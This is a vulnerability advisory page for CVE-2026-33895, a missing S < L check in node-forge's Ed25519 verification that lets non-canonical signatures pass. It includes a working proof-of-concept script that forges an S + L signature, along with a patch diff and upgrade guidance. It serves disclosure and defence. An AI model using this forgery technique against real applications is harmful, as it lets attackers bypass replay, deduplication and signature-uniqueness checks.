CVE-2026-33895: Forge has signature forgery in Ed25519 due to missing S > L check

Published Mar 26, 2026
·
Updated

Summary Ed25519 signature verification accepts forged non-canonical signatures where the scalar S is not reduced modulo the group order (S >= L). A valid signature and its S + L variant both verify in forge, while Node.js crypto.verify (OpenSSL-backed) rejects the S + L variant, as defined by the specification. This class of signature malleability has been exploited in practice to bypass authentication and authorization logic (see CVE-2026-25793, CVE-2022-35961). Applications relying on signature uniqueness (i.e., dedup by signature bytes, replay tracking, signed-object canonicalization checks) may be bypassed.

Impacted Deployments Tested commit: 8e1d527fe8ec2670499068db783172d4fb9012e5 Affected versions: tested on v1.3.3 (latest release) and all versions since Ed25519 was implemented.

Configuration assumptions: - Default forge Ed25519 verify API path (ed25519.verify(...)).

Root Cause In lib/ed25519.js, cryptosignopen(...) uses the signature's last 32 bytes (S) directly in scalar multiplication:

javascript scalarbase(q, sm.subarray(32));

There is no prior check enforcing S < L (Ed25519 group order). As a result, equivalent scalar classes can pass verification, including a modified signature where S := S + L (mod 2^256) when that value remains non-canonical. The PoC demonstrates this by mutating only the S half of a valid 64-byte signature.

Reproduction Steps - Use Node.js (tested with v24.9.0) and clone digitalbazaar/forge at commit 8e1d527fe8ec2670499068db783172d4fb9012e5. - Place and run the PoC script (poc.js) with node poc.js in the same level as the forge folder. - The script generates an Ed25519 keypair via forge, signs a fixed message, mutates the signature by adding Ed25519 order L to S (bytes 32..63), and verifies both original and tweaked signatures with forge and Node/OpenSSL (crypto.verify). - Confirm output includes:

json { "forge": { "originalvalid": true, "tweakedvalid": true }, "crypto": { "originalvalid": true, "tweakedvalid": false } }

Proof of Concept

Overview: - Demonstrates a valid control signature and a forged (S + L) signature in one run. - Uses Node/OpenSSL as a differential verification baseline. - Observed output on tested commit:

text { "forge": { "originalvalid": true, "tweakedvalid": true }, "crypto": { "originalvalid": true, "tweakedvalid": false } }

<details><summary>poc.js</summary>

javascript #!/usr/bin/env node 'use strict';

const path = require('path'); const crypto = require('crypto'); const forge = require('./forge'); const ed = forge.ed25519;

const MESSAGE = Buffer.from('dderpym is the coolest man alive!');

// Ed25519 group order L encoded as 32 bytes, little-endian (RFC 8032). const ED25519ORDERL = Buffer.from([ 0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58, 0xd6, 0x9c, 0xf7, 0xa2, 0xde, 0xf9, 0xde, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, ]);

// For Ed25519 signatures, s is the last 32 bytes of the 64-byte signature. // This returns a new signature with s := s + L (mod 2^256), plus the carry. function addLToS(signature) { if (!Buffer.isBuffer(signature) || signature.length !== 64) { throw new Error('signature must be a 64-byte Buffer'); } const out = Buffer.from(signature); let carry = 0; for (let i = 0; i < 32; i++) { const idx = 32 + i; // s starts at byte 32 in the 64-byte signature. const sum = out[idx] + ED25519ORDERL[i] + carry; out[idx] = sum & 0xff; carry = sum >> 8; } return { sig: out, carry }; }

function toSpkiPem(publicKeyBytes) { if (publicKeyBytes.length !== 32) { throw new Error('publicKeyBytes must be 32 bytes'); } // Builds an ASN.1 SubjectPublicKeyInfo for Ed25519 (RFC 8410) and returns PEM. const oidEd25519 = Buffer.from([0x06, 0x03, 0x2b, 0x65, 0x70]); const algId = Buffer.concat([Buffer.from([0x30, 0x05]), oidEd25519]); const bitString = Buffer.concat([Buffer.from([0x03, 0x21, 0x00]), publicKeyBytes]); const spki = Buffer.concat([Buffer.from([0x30, 0x2a]), algId, bitString]); const b64 = spki.toString('base64').match(/.{1,64}/g).join('\n'); return -----BEGIN PUBLIC KEY-----\n${b64}\n-----END PUBLIC KEY-----\n; }

function verifyWithCrypto(publicKey, message, signature) { try { const keyObject = crypto.createPublicKey(toSpkiPem(publicKey)); const ok = crypto.verify(null, message, keyObject, signature); return { ok }; } catch (error) { return { ok: false, error: error.message }; } }

function toResult(label, original, tweaked) { return { [label]: { originalvalid: original.ok, tweakedvalid: tweaked.ok, }, }; }

function main() { const kp = ed.generateKeyPair(); const sig = ed.sign({ message: MESSAGE, privateKey: kp.privateKey }); const ok = ed.verify({ message: MESSAGE, signature: sig, publicKey: kp.publicKey }); const tweaked = addLToS(sig); const okTweaked = ed.verify({ message: MESSAGE, signature: tweaked.sig, publicKey: kp.publicKey, }); const cryptoOriginal = verifyWithCrypto(kp.publicKey, MESSAGE, sig); const cryptoTweaked = verifyWithCrypto(kp.publicKey, MESSAGE, tweaked.sig); const result = { ...toResult('forge', { ok }, { ok: okTweaked }), ...toResult('crypto', cryptoOriginal, cryptoTweaked), }; console.log(JSON.stringify(result, null, 2)); }

main(); </details>

Suggested Patch Add strict canonical scalar validation in Ed25519 verify path before scalar multiplication. (Parse S as little-endian 32-byte integer and reject if S >= L).

Here is a patch we tested on our end to resolve the issue, though please verify it on your end:

diff index f3e6faa..87eb709 100644 --- a/lib/ed25519.js +++ b/lib/ed25519.js @@ -380,6 +380,10 @@ function cryptosignopen(m, sm, n, pk) { return -1; }

+ if(!isCanonicalSignatureScalar(sm, 32)) { + return -1; + } + for(i = 0; i < n; ++i) { m[i] = sm[i]; } @@ -409,6 +413,21 @@ function cryptosignopen(m, sm, n, pk) { return mlen; }

+function isCanonicalSignatureScalar(bytes, offset) { + var i; + // Compare little-endian scalar S against group order L and require S < L. + for(i = 31; i >= 0; --i) { + if(bytes[offset + i] < L[i]) { + return true; + } + if(bytes[offset + i] > L[i]) { + return false; + } + } + // S == L is non-canonical. + return false; +} + function modL(r, x) { var carry, i, j, k; for(i = 63; i >= 32; --i) {

Resources

- RFC 8032 (Ed25519): https://datatracker.ietf.org/doc/html/rfc8032#section-8.4 - > Ed25519 and Ed448 signatures are not malleable due to the verification check that decoded S is smaller than l

Credit

This vulnerability was discovered as part of a U.C. Berkeley security research project by: Austin Chu, Sohee Kim, and Corban Villa.

Other sources

Forge (also called node-forge) is a native implementation of Transport Layer Security in JavaScript. Prior to version 1.4.0, Ed25519 signature verification accepts forged non-canonical signatures where the scalar S is not reduced modulo the group order (S = L). A valid signature and its S + L variant both verify in forge, while Node.js crypto.verify (OpenSSL-backed) rejects the S + L variant, as defined by the specification. This class of signature malleability has been exploited in practice to bypass authentication and authorization logic (see CVE-2026-25793, CVE-2022-35961). Applications relying on signature uniqueness (i.e., dedup by signature bytes, replay tracking, signed-object canonicalization checks) may be bypassed. Version 1.4.0 patches the issue.

IBM

Forge (also called node-forge) is a native implementation of Transport Layer Security in JavaScript. Prior to version 1.4.0, Ed25519 signature verification accepts forged non-canonical signatures where the scalar S is not reduced modulo the group order (S >= L). A valid signature and its S + L variant both verify in forge, while Node.js crypto.verify (OpenSSL-backed) rejects the S + L variant, as defined by the specification. This class of signature malleability has been exploited in practice to bypass authentication and authorization logic (see CVE-2026-25793, CVE-2022-35961). Applications relying on signature uniqueness (i.e., dedup by signature bytes, replay tracking, signed-object canonicalization checks) may be bypassed. Version 1.4.0 patches the issue.

NVD

Affected Software

3 affected componentsFixes available
npm/node-forge<1.4.0
1.4.0
digitalbazaar Forge Node.js<=1.3.3
IBM watsonx.data intelligence<=5.2.2, 5.3.0, 5.3.1, 5.3.1-patch-1

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/node-forge to a version that resolves this vulnerability.

    Fixed in 1.4.0
  2. Upgrade

    Upgrade digitalbazaar/forge (node-forge) to a version that resolves this vulnerability.

    Fixed in 1.4.0
  3. Configuration

    In lib/ed25519.js, before using the signature scalar S (last 32 bytes) in crypto_sign_open scalar multiplication, add strict canonical scalar validation that rejects when S >= L (non-canonical), as shown by implementing an `_isCanonicalSignatureScalar(...)` check for the Ed25519 verification path.

    Forge Ed25519 verification path S canonical scalar validation (S < L) before scalar multiplication = enforce strict validation so signatures with S >= L are rejected (including S == L non-canonical)
  4. Compensating control

    For applications that rely on signature uniqueness for deduplication/replay tracking/canonicalization checks, ensure those controls do not rely solely on raw signature bytes; otherwise forged non-canonical signatures with modified S := S + L (mod 2^256) may bypass logic.

Event History

Mar 26, 2026
Advisory Published
via GitHub·10:04 PM
Data Sourced
via GitHub·10:04 PM
DescriptionSeverityWeaknessAffected Software
Mar 27, 2026
CVE Published
via MITRE·08:47 PM
Data Sourced
via MITRE·08:47 PM
DescriptionSeverityWeakness
Data Sourced
via Red Hat·09:02 PM
DescriptionSeverityAffected Software
Data Sourced
via NVD·09:17 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·09:17 PM
RemedyAffected Software
Jun 24, 2026
Data Sourced
via IBM·12:00 AM
DescriptionAffected Software

Parent advisories

This vulnerability appears in the following advisories.

Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-33895?

CVE-2026-33895 is considered a medium severity vulnerability due to the potential for forgery in Ed25519 signature verification.

2

How do I fix CVE-2026-33895?

To fix CVE-2026-33895, upgrade the node-forge library to version 1.4.0 or later.

3

What are the implications of CVE-2026-33895?

CVE-2026-33895 allows attackers to forge Ed25519 signatures, compromising the integrity of cryptographic operations.

4

Which software is affected by CVE-2026-33895?

CVE-2026-33895 affects versions of node-forge prior to 1.4.0.

5

How does CVE-2026-33895 exploit the Ed25519 signature verification process?

CVE-2026-33895 exploits the fact that the signature verification process does not enforce the condition that scalar S must be less than the group order.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203